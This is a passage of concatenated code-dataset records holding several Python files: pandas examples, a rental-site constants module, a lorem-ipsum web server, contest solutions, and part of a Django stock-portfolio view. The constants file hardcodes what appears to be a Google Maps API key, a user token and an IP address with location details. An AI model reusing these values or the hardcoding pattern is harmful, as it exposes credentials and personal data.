print(f)\n","sub_path":"tp_final/escena_seleccion.py","file_name":"escena_seleccion.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"518640687","text":"import numpy as np\nimport pandas as pd\n\n# 从列表创建,指定行、列索引\ndf = pd.DataFrame([10, 20, 30, 40],\n columns=['numbers'],\n index=['a', 'b', 'c', 'd'])\nprint(df)\n\n# 添加新的列数据\ndf['floats'] = (1.5, 2.5, 3.5, 4.5)\ndf['names1'] = ('Yves', 'Guido', 'Felix', 'Francesc')\nprint(df)\n\n# 以列为单位修改数据\ndf['floats'] = 2.0\nprint(df)\ndf.floats = 22.0\nprint(df)\n\n# 从新的DataFrame对象直接添加。\ndf['names2'] = pd.DataFrame(['Yv', 'Gu', 'Fe', 'Fr'],\n index=['d', 'a', 'b', 'c'])\nprint(df)\n\n\n# Missing Data\nms = df.join(pd.DataFrame([1, 4, 9, 16],\n index=['a', 'b', 'c', 'y'],\n columns=['squares',]))\nprint(ms)\n\nms = df.join(pd.DataFrame([1, 4, 9, 16],\n index=['a', 'b', 'c', 'y'],\n columns=['squares',]),\n how='outer')\nprint(ms)\n\n\n# 删除某列\ndel df['names2']\nprint(df)\n","sub_path":"tech/python/notes/pandas/dataframe/change/ex_dataframe_add.py","file_name":"ex_dataframe_add.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"187144430","text":"from config import Credentials\nfrom constants import ModuleConst\nfrom modules.vrs.helpers.constants import VrsConst, VrsKeys\nfrom utility.configs import EnvConst\n\n_APP_API_URL = {\n EnvConst.DEVELOPMENT: \"http://staging-api.leftt.com\",\n EnvConst.PRODUCTION: \"http://prod-api.leftt.com\",\n}\n_APP_WEBSITE_URL = {\n EnvConst.DEVELOPMENT: \"https://staging.rentbyowner.com\",\n EnvConst.PRODUCTION: \"https://www.rentbyowner.com\",\n}\n\n\nclass AppKeys(VrsKeys):\n pass\n\n\nclass AppConst(VrsConst):\n CURRENT_MODULE = ModuleConst.RBO\n DEFAULT_CURRENCY = \"USD\"\n DEMO_PROPERTY_LIST_SIZE = 15\n\n APP_TITLE = \"Rent by owner\"\n WEBSITE_TITLE = \"RentByOwner\"\n APP_MOD_NAME = ModuleConst.RBO\n APP_MOD_NAME_SHORT = \"rbo\"\n APP_WEBSITE_URL = _APP_WEBSITE_URL[EnvConst.ACTIVE]\n APP_AFFILIATE_BASE_URL = \"http://\" + Credentials.AFFILIATE_BASE_URL_USER + \":\" + Credentials.AFFILIATE_BASE_URL_PASSWORD + \"@es-center.rentbyowner.com\"\n APP_API_URL = _APP_API_URL[EnvConst.ACTIVE]\n\n APP_STATIC_KEY_DIC = {\n \"common\": {\n \"intent_media\": {\n \"site_country\": \"US\",\n \"site_name\": \"RENTBYOWNER_US\",\n 'referrer_source': 'self',\n \"site_url\": \"//compare.rentbyowner.com/javascripts/v1/p/alt_core.js\",\n },\n \"general\": {\n \"oz_site_id\": 9,\n \"encrypted_oz_u_token\": \"oztokentodo\",\n \"oz_u_token\": \"oztokentodo\",\n 'site_currency': 'USD', # TODO: Dynamically change based on clint request/geoinfo\n \"device_type\": \"web\", # TODO: Dynamically change based on clint request\n \"country_code\": \"BD\",\n },\n \"data_layer_values\": {\n \"OzUserToken\": \"oztokentodo\",\n \"gtm_data_layer\": 1\n },\n 'site_name': APP_MOD_NAME,\n 'page_id': 'hotel.home'\n },\n EnvConst.DEVELOPMENT: {\n \"google_tag_manager_id\": \"GTM-KPH3T58\",\n \"sid\": \"sid=MTgwMDE5ODU3MS4xNTUyNjI4NzI5\",\n \"oz_base_url\": \"https:cdn.stays.iooz-tagsoz_base.js\",\n \"google_ad\": 0,\n \"ga_enabled\": 'false',\n \"ha_tracking_id\": \"8111004\",\n \"bc_affiliate\": \"1482198\",\n \"gtm_data_layer\": \"1\",\n \"ga_tracking_id\": \"UA-46096270-1\",\n \"map_api_key\": \"AIzaSyBlfxoPGrgzUNFMzNohyNTX8DPuLtO20Hs\",\n \"bing_tracking_id\": \"\",\n \"inspectLet_id\": \"\",\n \"facebook_pixel_id\": 1657297934544668,\n \"pub_ref\": 'rentalhomes',\n \"siteid\": {\n \"homeaway\": 3,\n \"vrbo\": 3\n },\n \"feed\": {\n \"homeaway\": 12,\n \"vrbo\": 12\n },\n \"subfeed\": {\n \"homeaway\": 1,\n \"vrbo\": 2\n },\n \"event_type\": {\n \"pu\": 'PU',\n \"lb\": 'LB'\n },\n \"property_id\": {\n 'pu': 'PopUnder',\n 'lb': 'LeaveBehind'\n },\n \"cam_ref\": {\n 'homeaway': '1011l36AX',\n 'vrbo': '1011l36Ba'\n },\n \"data_to_oz\": {\n \"u_token\": \"1800198571.1552628729\",\n \"oz_session_time\": 1557823473,\n \"referrer\": \"\",\n \"site_id\": 9,\n \"user_agent\": \"Mozilla 5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko 20100101 Firefox 66.0\",\n \"env\": EnvConst.ACTIVE,\n \"is_from_amp\": 'false',\n \"lat\": 22.81348,\n \"lng\": 89.56723,\n \"country\": \"Bangladesh\",\n \"country_code\": \"BD\",\n \"city\": \"Khulna\",\n \"region\": \"Khulna\",\n \"continent_code\": \"AS\",\n \"ip\": \"202.5.50.43\"\n },\n \"date_format\": 0,\n \"media_partner\": {\"im\": 1, \"ma\": 0},\n \"dcr\": \"3.9937\",\n \"set_brand_config\": \"HomeAway\",\n \"check_box_text\": \"Compare with HomeAway\",\n \"listingPartnerBlock\": \"\",\n \"user_region\": \"APAC\",\n \"browser_language\": \"EN\",\n \"checkbox_brand\": \"HomeAway\"\n },\n EnvConst.PRODUCTION: {\n \"overlay_origin\": 'false',\n \"google_map_api_key\": 'AIzaSyBlfxoPGrgzUNFMzNohyNTX8DPuLtO20Hs'\n }\n }\n","sub_path":"modules/rentbyowner/helpers/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"180345025","text":"\"\"\"Groundwire lorem ipsum generator\"\"\"\n\nimport os.path\nimport random\nfrom webob import Response\nfrom webob.dec import wsgify\nfrom paste.httpserver import serve\nfrom paste.fileapp import DirectoryApp\nfrom produce import build_sentence\n\nstatic = DirectoryApp(os.path.dirname(__file__))\n\n\n@wsgify\ndef generate_paras(request):\n if request.path != \"/generator\":\n if request.path == \"/\":\n request.path_info = \"/index.html\"\n return static\n\n paras = int(request.GET.get(\"p\", 4))\n sentence_max = int(request.GET.get(\"smax\", 9))\n sentence_min = int(request.GET.get(\"smin\", 5))\n\n out = \"\"\n for i in range(paras):\n out += \"

\"\n sentence_per_para = random.randint(sentence_min, sentence_max)\n for j in range(sentence_per_para):\n out += build_sentence() + \" \"\n out += \"

\"\n\n return Response(out)\n\n\nif __name__ == \"__main__\":\n port = int(os.environ.get(\"PORT\", 8080))\n serve(generate_paras, host=\"0.0.0.0\", port=port)\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"355327140","text":"infile = open(\"C-small-attempt1.in\", \"r\")\ncases = infile.readline()\nline = infile.readline()\nlength = int(line[0:2])\nnumbers = int(line[3:5])\ninfile.close()\n\nimport itertools\nimport random\nfrom math import gcd\n\ndef Factor(N):\n if N == 1:\n return N\n if N % 2 == 0:\n return 2\n y, c, m = random.randint(1, N - 1), random.randint(1, N - 1), random.randint(1, N - 1)\n g, r, q = 1, 1, 1\n while g == 1:\n x = y\n for i in range(r):\n y = ((y * y) % N + c) % N\n k = 0\n while (k < r and g == 1):\n ys = y\n for i in range(min(m, r - k)):\n y = ((y * y) % N + c) % N\n q = q * (abs(x - y)) % N\n g = gcd(q, N)\n k = k + m\n r = r * 2\n if g == N:\n while True:\n ys = ((ys * ys) % N + c) % N\n g = gcd(abs(x - ys), N)\n if g > 1:\n break\n return g\n\ndef Base(number, base):\n interpretation = 0\n digits = list(number)\n digits.reverse()\n for i in range(len(digits)):\n interpretation += int(digits[i])*(int(base)**i)\n return interpretation\n\ndef Jamcoin_Check(number):\n interpretations = []\n for i in range(2, 11):\n if Factor(Base(number, i)) == (Base(number, i)):\n return False, False\n else:\n interpretations.append(str(Factor(Base(number, i))))\n return True, interpretations\n\npossible = []\nproven = []\n\nfor value in list([\"\".join(seq) for seq in itertools.product(\"01\", repeat=int(length-2))]):\n possible.append(\"1\" + value + \"1\")\n\noutfile = open(\"C-small-output.txt\", \"a\")\noutfile.write(\"Case #%s:\\n\" % cases)\ncount = 0\nfor value in possible:\n if count == int(numbers):\n break\n else:\n if Jamcoin_Check(value)[0] == True:\n outfile.write(((\"%s %s\\n\") % (value, ' '.join(Jamcoin_Check(value)[1]))))\n count += 1\noutfile.close()","sub_path":"codes/CodeJamCrawler/16_0_3/Alaete/C-small.py","file_name":"C-small.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"115151819","text":"from ListNode import ListNode\n\nclass Solution(object):\n def getIntersectionNode(self,headA,headB):\n la = headA\n lena = 0\n while la:\n lena+=1\n la=la.next\n lb = headB\n lenb = 0\n while lb:\n lenb+=1\n lb=lb.next\n\n la=headA\n lb=headB\n if lenalenb:\n la=headA\n for i in range(lena-lenb):\n la=la.next\n while la and lb and la!=lb:\n la=la.next\n lb=lb.next\n if la and lb:\n return la\n #in python, return None\n return None\n\nheadA = ListNode(1)\nnode1=ListNode(2)\nnode2=ListNode(3)\nheadA.next=node1\nheadA.next=node2\n\nheadB=ListNode(1)\nheadB.next=node2\n\ns=Solution()\nnode=s.getIntersectionNode(headA,headB)\nif(node):\n print (node.val)\nelse:\n print (\"null\")\n\n","sub_path":"IntersectionofTwoLinkedLissts.py","file_name":"IntersectionofTwoLinkedLissts.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"553866825","text":"# n Write a Python program to compute element-wise sum of given tuples.\r\ns = [(1, 2, 3, 4), (4, 2, 1, 3), (5, 6, 2, 1), (2, 5, 2, 1)]\r\ns1 = []\r\nfor i in range(0, 4):\r\n s2 = s[0][i] + s[1][i] + s[2][i] + s[3][i]\r\n s1.append(s2)\r\nprint(tuple(s1))\r\n\r\n# another way\r\ns2 = tuple(map(sum, zip(*s)))\r\nprint(s2)\r\n","sub_path":"Compute_elementwise_sum.py","file_name":"Compute_elementwise_sum.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"492016402","text":"# -*- coding: utf-8 -*-\nimport calendar\nimport datetime\nfrom decimal import Decimal\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.exceptions import PermissionDenied\nfrom django.db.models.expressions import F\nfrom django.shortcuts import get_object_or_404\nfrom itertools import chain\nimport json\nfrom operator import attrgetter\n\nfrom django.core.urlresolvers import reverse\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.forms import inlineformset_factory\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template.response import TemplateResponse\n\nfrom bagogold.bagogold.decorators import adiciona_titulo_descricao\nfrom bagogold.bagogold.forms.divisoes import DivisaoOperacaoAcaoFormSet\nfrom bagogold.bagogold.forms.operacao_acao import OperacaoAcaoForm, \\\n UsoProventosOperacaoAcaoForm\nfrom bagogold.bagogold.forms.taxa_custodia_acao import TaxaCustodiaAcaoForm\nfrom bagogold.bagogold.models.acoes import OperacaoAcao, HistoricoAcao, \\\n ValorDiarioAcao, Provento, UsoProventosOperacaoAcao, TaxaCustodiaAcao, Acao\nfrom bagogold.bagogold.models.divisoes import DivisaoOperacaoAcao, Divisao\nfrom bagogold.bagogold.utils.acoes import calcular_provento_por_mes, \\\n calcular_media_proventos_6_meses, calcular_operacoes_sem_proventos_por_mes, \\\n calcular_uso_proventos_por_mes, calcular_qtd_acoes_ate_dia_por_ticker, \\\n calcular_poupanca_prov_acao_ate_dia\n# from bagogold.bagogold.utils.divisoes import calcular_saldo_geral_acoes_bh\nfrom bagogold.bagogold.utils.investidores import buscar_acoes_investidor_na_data\n\n\n@login_required\ndef calcular_poupanca_proventos_na_data(request):\n investidor = request.user.investidor\n try:\n data = datetime.datetime.strptime(request.GET.get('dataEscolhida'), '%d/%m/%Y').date()\n except:\n return HttpResponse(json.dumps({'mensagem': u'Data inválida'}), content_type = \"application/json\")\n poupanca_proventos = str(calcular_poupanca_prov_acao_ate_dia(investidor, data))\n return HttpResponse(json.dumps(poupanca_proventos), content_type = \"application/json\") \n\n@login_required\n@adiciona_titulo_descricao('Editar operação em Ações (Buy and Hold)', 'Altera valores de operação de compra/venda em Ações para Buy and Hold')\ndef editar_operacao_acao(request, id_operacao):\n investidor = request.user.investidor\n \n operacao_acao = get_object_or_404(OperacaoAcao, pk=id_operacao, destinacao='B')\n \n # Verifica se a operação é do investidor, senão, jogar erro de permissão\n if operacao_acao.investidor != investidor:\n raise PermissionDenied\n \n # Valor da poupança de proventos na data apontada\n poupanca_proventos = calcular_poupanca_prov_acao_ate_dia(investidor, operacao_acao.data)\n \n # Preparar formset para divisoes\n DivisaoFormSet = inlineformset_factory(OperacaoAcao, DivisaoOperacaoAcao, fields=('divisao', 'quantidade'),\n extra=1, formset=DivisaoOperacaoAcaoFormSet)\n \n # Testa se investidor possui mais de uma divisão\n varias_divisoes = Divisao.objects.filter(investidor=investidor).count() > 1\n\n if request.method == 'POST':\n if request.POST.get(\"save\"):\n form_operacao_acao = OperacaoAcaoForm(request.POST, instance=operacao_acao)\n formset_divisao = DivisaoFormSet(request.POST, instance=operacao_acao, investidor=investidor) if varias_divisoes else None\n \n if not varias_divisoes:\n try:\n form_uso_proventos = UsoProventosOperacaoAcaoForm(request.POST, instance=UsoProventosOperacaoAcao.objects.get(divisao_operacao__operacao=operacao_acao))\n except UsoProventosOperacaoAcao.DoesNotExist:\n form_uso_proventos = UsoProventosOperacaoAcaoForm(request.POST)\n else:\n form_uso_proventos = UsoProventosOperacaoAcaoForm() \n \n if form_operacao_acao.is_valid():\n # Validar de acordo com a quantidade de divisões\n if varias_divisoes:\n if formset_divisao.is_valid():\n operacao_acao.save()\n formset_divisao.save()\n for form_divisao_operacao in [form for form in formset_divisao if form.cleaned_data]:\n # Ignorar caso seja apagado\n if 'DELETE' in form_divisao_operacao.cleaned_data and form_divisao_operacao.cleaned_data['DELETE']:\n pass\n else:\n divisao_operacao = form_divisao_operacao.save(commit=False)\n if hasattr(divisao_operacao, 'usoproventosoperacaoacao'):\n if form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] == None or form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] == 0:\n divisao_operacao.usoproventosoperacaoacao.delete()\n else:\n divisao_operacao.usoproventosoperacaoacao.qtd_utilizada = form_divisao_operacao.cleaned_data['qtd_proventos_utilizada']\n divisao_operacao.usoproventosoperacaoacao.save()\n else:\n if form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] != None and form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] > 0:\n # TODO remover operação de uso proventos\n divisao_operacao.usoproventosoperacaoacao = UsoProventosOperacaoAcao(qtd_utilizada=form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'], operacao=operacao_acao)\n divisao_operacao.usoproventosoperacaoacao.save()\n \n messages.success(request, 'Operação alterada com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n for erro in formset_divisao.non_form_errors():\n messages.error(request, erro)\n \n else:\n if form_uso_proventos.is_valid():\n operacao_acao.save()\n divisao_operacao = DivisaoOperacaoAcao.objects.get(divisao=investidor.divisaoprincipal.divisao, operacao=operacao_acao, quantidade=operacao_acao.quantidade)\n divisao_operacao.save()\n uso_proventos = form_uso_proventos.save(commit=False)\n# print uso_proventos.qtd_utilizada \n if uso_proventos.qtd_utilizada > 0:\n uso_proventos.operacao = operacao_acao\n uso_proventos.divisao_operacao = DivisaoOperacaoAcao.objects.get(operacao=operacao_acao)\n uso_proventos.save()\n # Se uso proventos for 0 e existir uso proventos atualmente, apagá-lo\n elif uso_proventos.qtd_utilizada == 0 and UsoProventosOperacaoAcao.objects.filter(divisao_operacao__operacao=operacao_acao):\n uso_proventos.delete()\n messages.success(request, 'Operação alterada com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n \n for erro in [erro for erro in form_operacao_acao.non_field_errors()]:\n messages.error(request, erro)\n\n elif request.POST.get(\"delete\"):\n divisao_acao = DivisaoOperacaoAcao.objects.filter(operacao=operacao_acao)\n for divisao in divisao_acao:\n if hasattr(divisao, 'usoproventosoperacaoacao'):\n divisao.usoproventosoperacaoacao.delete()\n divisao.delete()\n operacao_acao.delete()\n messages.success(request, 'Operação apagada com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n\n else:\n form_operacao_acao = OperacaoAcaoForm(instance=operacao_acao)\n if not varias_divisoes:\n if UsoProventosOperacaoAcao.objects.filter(divisao_operacao__operacao=operacao_acao).exists():\n form_uso_proventos = UsoProventosOperacaoAcaoForm(instance=UsoProventosOperacaoAcao.objects.get(divisao_operacao__operacao=operacao_acao))\n else:\n form_uso_proventos = UsoProventosOperacaoAcaoForm()\n else:\n form_uso_proventos = UsoProventosOperacaoAcaoForm()\n formset_divisao = DivisaoFormSet(instance=operacao_acao, investidor=investidor)\n \n return TemplateResponse(request, 'acoes/buyandhold/editar_operacao_acao.html', {'form_operacao_acao': form_operacao_acao, 'form_uso_proventos': form_uso_proventos,\n 'formset_divisao': formset_divisao, 'poupanca_proventos': poupanca_proventos, 'varias_divisoes': varias_divisoes})\n\n@login_required\ndef evolucao_posicao(request):\n if request.is_ajax():\n investidor = request.user.investidor\n \n graf_evolucao = {}\n \n # Buscar ações que o investidor possui atualmente\n acoes_investidor = Acao.objects.filter(id__in=buscar_acoes_investidor_na_data(investidor, destinacao='B'))\n \n data_30_dias_atras = datetime.date.today() - datetime.timedelta(days=30)\n # Preencher valores históricos\n for acao in [acao for acao in acoes_investidor if calcular_qtd_acoes_ate_dia_por_ticker(investidor, acao.ticker, datetime.date.today())]:\n# data_formatada = str(calendar.timegm(historico.data.timetuple()) * 1000)\n historico_30_dias = HistoricoAcao.objects.filter(acao=acao, data__range=[data_30_dias_atras, datetime.date.today() - datetime.timedelta(days=1)]).order_by('data')\n graf_evolucao[acao.ticker] = [(str(calendar.timegm(historico.data.timetuple()) * 1000), float(historico.preco_unitario)) for historico in historico_30_dias]\n \n # Adicionar valor atual\n if ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, data_hora__month=datetime.date.today().month).exists():\n graf_evolucao[acao.ticker].append((str(calendar.timegm(datetime.date.today().timetuple()) * 1000), \n float(ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, \n data_hora__month=datetime.date.today().month).order_by('-data_hora')[0].preco_unitario)))\n else:\n graf_evolucao[acao.ticker].append((str(calendar.timegm(datetime.date.today().timetuple()) * 1000), \n float(HistoricoAcao.objects.filter(acao__ticker=acao).order_by('-data')[0].preco_unitario)))\n \n return HttpResponse(json.dumps({'sucesso': True, 'graf_evolucao': graf_evolucao}), content_type = \"application/json\") \n else:\n return HttpResponse(json.dumps({'sucesso': False}), content_type = \"application/json\") \n \n\n@adiciona_titulo_descricao('Histórico de Ações (Buy and Hold)', 'Histórico de operações de compra/venda em ações para Buy and Hold e proventos recebidos')\ndef historico(request):\n # Usado para criar objetos vazios\n class Object(object):\n pass\n \n if request.user.is_authenticated():\n investidor = request.user.investidor\n else:\n return TemplateResponse(request, 'acoes/buyandhold/historico.html', {'operacoes': list(), 'graf_total_gasto': list(), 'graf_patrimonio': list(),\n 'graf_proventos_mes': list(), 'graf_media_proventos_6_meses': list(), 'graf_poupanca_proventos': list(),\n 'graf_gasto_op_sem_prov_mes': list(), 'graf_uso_proventos_mes': list(),\n 'graf_dividendos_mensal': list(), 'graf_jscp_mensal': list(), 'dados': {}})\n \n operacoes = OperacaoAcao.objects.filter(destinacao='B', investidor=investidor).exclude(data__isnull=True).annotate(acao_ticker=F('acao__ticker')).order_by('data')\n \n if not operacoes:\n return TemplateResponse(request, 'acoes/buyandhold/historico.html', {'operacoes': list(), 'graf_total_gasto': list(), 'graf_patrimonio': list(),\n 'graf_proventos_mes': list(), 'graf_media_proventos_6_meses': list(), 'graf_poupanca_proventos': list(),\n 'graf_gasto_op_sem_prov_mes': list(), 'graf_uso_proventos_mes': list(),\n 'graf_dividendos_mensal': list(), 'graf_jscp_mensal': list(), 'dados': {}})\n \n acoes = list(set(operacoes.values_list('acao', flat=True)))\n\n proventos = Provento.objects.filter(acao__in=acoes).exclude(data_ex__isnull=True).exclude(data_ex__gt=datetime.date.today()).order_by('data_ex') \\\n .annotate(data=F('data_ex')).annotate(acao_ticker=F('acao__ticker')).select_related('acao')\n for acao_id in acoes:\n proventos = proventos.filter((Q(acao__id=acao_id) & Q(data_ex__gt=operacoes.filter(acao__id=acao_id)[0].data)) | ~Q(acao__id=acao_id))\n \n taxas_custodia = list(TaxaCustodiaAcao.objects.filter(investidor=investidor).order_by('ano_vigencia', 'mes_vigencia'))\n# for taxa in taxas_custodia:\n# taxa.data = datetime.date(taxa.ano_vigencia, taxa.mes_vigencia, 1)\n \n # Na lista conjunta proventos devem vir antes (data EX antes de operações do dia)\n lista_conjunta = sorted(chain(proventos, operacoes),\n key=attrgetter('data'))\n \n # Adicionar dias de pagamento de taxa de custodia\n datas_custodia = list()\n \n ano_inicial = lista_conjunta[0].data.year\n mes_inicial = lista_conjunta[0].data.month\n \n # Se houver registro de taxas de custódia, adicionar ao histórico\n if taxas_custodia:\n # Adicionar datas finais de cada ano\n for ano in range(ano_inicial, datetime.date.today().year+1):\n for mes_inicial in range(mes_inicial, 13):\n # Verificar se há nova taxa de custodia vigente\n# taxa_custodia_atual = taxas_custodia.filter(Q(ano_vigencia__lt=ano) | Q(ano_vigencia=ano, mes_vigencia__lte=mes_inicial) ).order_by('-ano_vigencia', '-mes_vigencia')[0]\n taxa_custodia_atual = [taxa_custodia for taxa_custodia in taxas_custodia if taxa_custodia.ano_vigencia < ano or \\\n (taxa_custodia.ano_vigencia == ano and taxa_custodia.mes_vigencia <= mes_inicial)][-1]\n \n data_custodia = Object()\n data_custodia.data = datetime.date(ano, mes_inicial, 1)\n data_custodia.valor = taxa_custodia_atual.valor_mensal\n data_custodia.acao_ticker = operacoes[0].acao_ticker\n datas_custodia.append(data_custodia)\n \n # Parar caso esteja no ano atual\n if ano == datetime.date.today().year:\n if mes_inicial == datetime.date.today().month:\n break\n mes_inicial = 1\n\n\n# # Se houver registro de taxas de custódia, adicionar ao histórico\n# if taxas_custodia.exists():\n# for taxa_custodia in taxas_custodia:\n# data_custodia = Object()\n# data_custodia.data = datetime.date(taxa_custodia.ano_vigencia, taxa_custodia.mes_vigencia, 1)\n# data_custodia.valor = taxa_custodia.valor_mensal\n# data_custodia.acao_ticker = operacoes[0].acao_ticker\n# datas_custodia.append(data_custodia)\n# \n# for indice, data_custodia in reversed(list(enumerate(datas_custodia))):\n# novas_datas_custodia = list()\n# # Verificar se último registro\n# if indice == len(datas_custodia) - 1:\n# ano_custodia = data_custodia.data.year\n# mes_custodia = data_custodia.data.month\n# while ano_custodia <= datetime.date.today().year:\n# mes_custodia += 1\n# if mes_custodia == 13:\n# mes_custodia = 1\n# ano_custodia += 1\n# \n# if ano_custodia == datetime.date.today().year and mes_custodia > datetime.date.today().month:\n# break\n# \n# nova_data_custodia = Object()\n# nova_data_custodia.data = datetime.date(ano_custodia, mes_custodia, 1)\n# nova_data_custodia.valor = data_custodia.valor\n# nova_data_custodia.acao_ticker = data_custodia.acao_ticker\n# novas_datas_custodia.append(nova_data_custodia)\n# \n# else:\n# ano_custodia = data_custodia.data.year\n# mes_custodia = data_custodia.data.month\n# while ano_custodia <= datas_custodia[indice+1].data.year:\n# mes_custodia += 1\n# if mes_custodia == 13:\n# mes_custodia = 1\n# ano_custodia += 1\n# \n# if ano_custodia == datas_custodia[indice+1].data.year and mes_custodia == datas_custodia[indice+1].data.month:\n# break\n# \n# nova_data_custodia = Object()\n# nova_data_custodia.data = datetime.date(ano_custodia, mes_custodia, 1)\n# nova_data_custodia.valor = data_custodia.valor\n# nova_data_custodia.acao_ticker = data_custodia.acao_ticker\n# novas_datas_custodia.append(nova_data_custodia)\n# \n# for nova_data_custodia in reversed(novas_datas_custodia):\n# datas_custodia.insert(indice+1, nova_data_custodia)\n# \n# # Remover datas de custódia anteriores a primeira operação em ações\n# datas_custodia = [data_custodia for data_custodia in datas_custodia if data_custodia.data.year > ano_inicial \\\n# or (data_custodia.data.year == ano_inicial and data_custodia.data.month >= mes_inicial)]\n \n lista_conjunta = sorted(chain(lista_conjunta, datas_custodia),\n key=attrgetter('data'))\n \n # Dados para os gráficos\n graf_proventos_mes = list()\n graf_media_proventos_6_meses = list()\n graf_uso_proventos_mes = list()\n graf_gasto_op_sem_prov_mes = list()\n graf_total_gasto = list()\n graf_patrimonio = list()\n graf_poupanca_proventos = list()\n graf_dividendos_mensal = list()\n graf_jscp_mensal = list()\n \n # Totais\n total_custodia = 0\n total_gasto = 0\n total_proventos = 0\n proventos_gastos = 0\n patrimonio = 0\n \n # Guarda as ações correntes para o calculo do patrimonio\n acoes = {}\n # Preparar gráfico de proventos em dinheiro por mês\n# graf_proventos_mes = calcular_provento_por_mes(proventos.exclude(data_ex__gt=datetime.date.today()).exclude(tipo_provento='A'), operacoes)\n proventos_mes = calcular_provento_por_mes(investidor, proventos.exclude(data_ex__gt=datetime.date.today()).exclude(tipo_provento='A'), operacoes,\n data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), data_fim=datetime.date.today())\n for x in proventos_mes:\n graf_proventos_mes += [[x[0], x[1] + x[2]]]\n graf_dividendos_mensal += [[x[0], x[1]]]\n graf_jscp_mensal += [[x[0], x[2]]]\n \n graf_media_proventos_6_meses = calcular_media_proventos_6_meses(investidor, proventos.exclude(data_ex__gt=datetime.date.today()).exclude(tipo_provento='A'), \n operacoes, data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), \n data_fim=datetime.date.today())\n \n # Preparar gráfico de utilização de proventos por mês\n graf_gasto_op_sem_prov_mes = calcular_operacoes_sem_proventos_por_mes(investidor, operacoes.filter(tipo_operacao='C'), \n data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), \n data_fim=datetime.date.today())\n graf_uso_proventos_mes = calcular_uso_proventos_por_mes(investidor, data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), \n data_fim=datetime.date.today())\n \n # Calculos de patrimonio e gasto total\n for item_lista in lista_conjunta: \n if item_lista.acao_ticker not in acoes.keys():\n acoes[item_lista.acao_ticker] = 0\n # Verifica se é uma compra/venda\n if isinstance(item_lista, OperacaoAcao): \n # Verificar se se trata de compra ou venda\n if item_lista.tipo_operacao == 'C':\n item_lista.tipo = 'Compra'\n item_lista.total_gasto = -1 * (item_lista.quantidade * item_lista.preco_unitario + \\\n item_lista.emolumentos + item_lista.corretagem)\n if item_lista.utilizou_proventos():\n qtd_utilizada = item_lista.qtd_proventos_utilizada()\n proventos_gastos += qtd_utilizada\n # Remover proventos gastos do total gasto\n item_lista.total_gasto += qtd_utilizada\n total_gasto += item_lista.total_gasto\n acoes[item_lista.acao_ticker] += item_lista.quantidade\n \n elif item_lista.tipo_operacao == 'V':\n item_lista.tipo = 'Venda'\n item_lista.total_gasto = (item_lista.quantidade * item_lista.preco_unitario - \\\n item_lista.emolumentos - item_lista.corretagem)\n# total_proventos += item_lista.total_gasto\n total_gasto += item_lista.total_gasto\n acoes[item_lista.acao_ticker] -= item_lista.quantidade\n \n # Verifica se é recebimento de proventos\n elif isinstance(item_lista, Provento):\n if item_lista.data_pagamento <= datetime.date.today():\n if item_lista.tipo_provento in ['D', 'J']:\n total_recebido = acoes[item_lista.acao_ticker] * item_lista.valor_unitario\n if item_lista.tipo_provento == 'J':\n item_lista.tipo = 'JSCP'\n total_recebido = total_recebido * Decimal(0.85)\n else:\n item_lista.tipo = 'Dividendos'\n# total_gasto += total_recebido\n total_proventos += total_recebido\n item_lista.total_gasto = total_recebido\n item_lista.quantidade = acoes[item_lista.acao_ticker]\n item_lista.preco_unitario = item_lista.valor_unitario\n \n elif item_lista.tipo_provento == 'A':\n# print '%s %s' % (type(item_lista.tipo_provento), type(u'A'))\n item_lista.tipo = u'Ações'\n# print item_lista.acaoprovento_set.all()[0]\n provento_acao = item_lista.acaoprovento_set.all()[0]\n if provento_acao.acao_recebida.ticker not in acoes.keys():\n acoes[provento_acao.acao_recebida.ticker] = 0\n acoes_recebidas = int((acoes[item_lista.acao_ticker] * item_lista.valor_unitario ) / 100 )\n item_lista.total_gasto = acoes_recebidas\n acoes[provento_acao.acao_recebida.ticker] += acoes_recebidas\n if provento_acao.valor_calculo_frac > 0:\n if provento_acao.data_pagamento_frac <= datetime.date.today():\n# print u'recebido fracionado %s, %s ações de %s a %s' % (total_recebido, acoes[item_lista.acao_ticker], item_lista.acao_ticker, item_lista.valor_unitario)\n# total_gasto += (((acoes[item_lista.acao_ticker] * item_lista.valor_unitario ) / 100 ) % 1) * provento_acao.valor_calculo_frac\n total_proventos += (((acoes[item_lista.acao_ticker] * item_lista.valor_unitario ) / 100 ) % 1) * provento_acao.valor_calculo_frac\n \n # Verifica se é pagamento de custódia\n elif isinstance(item_lista, Object):\n# if 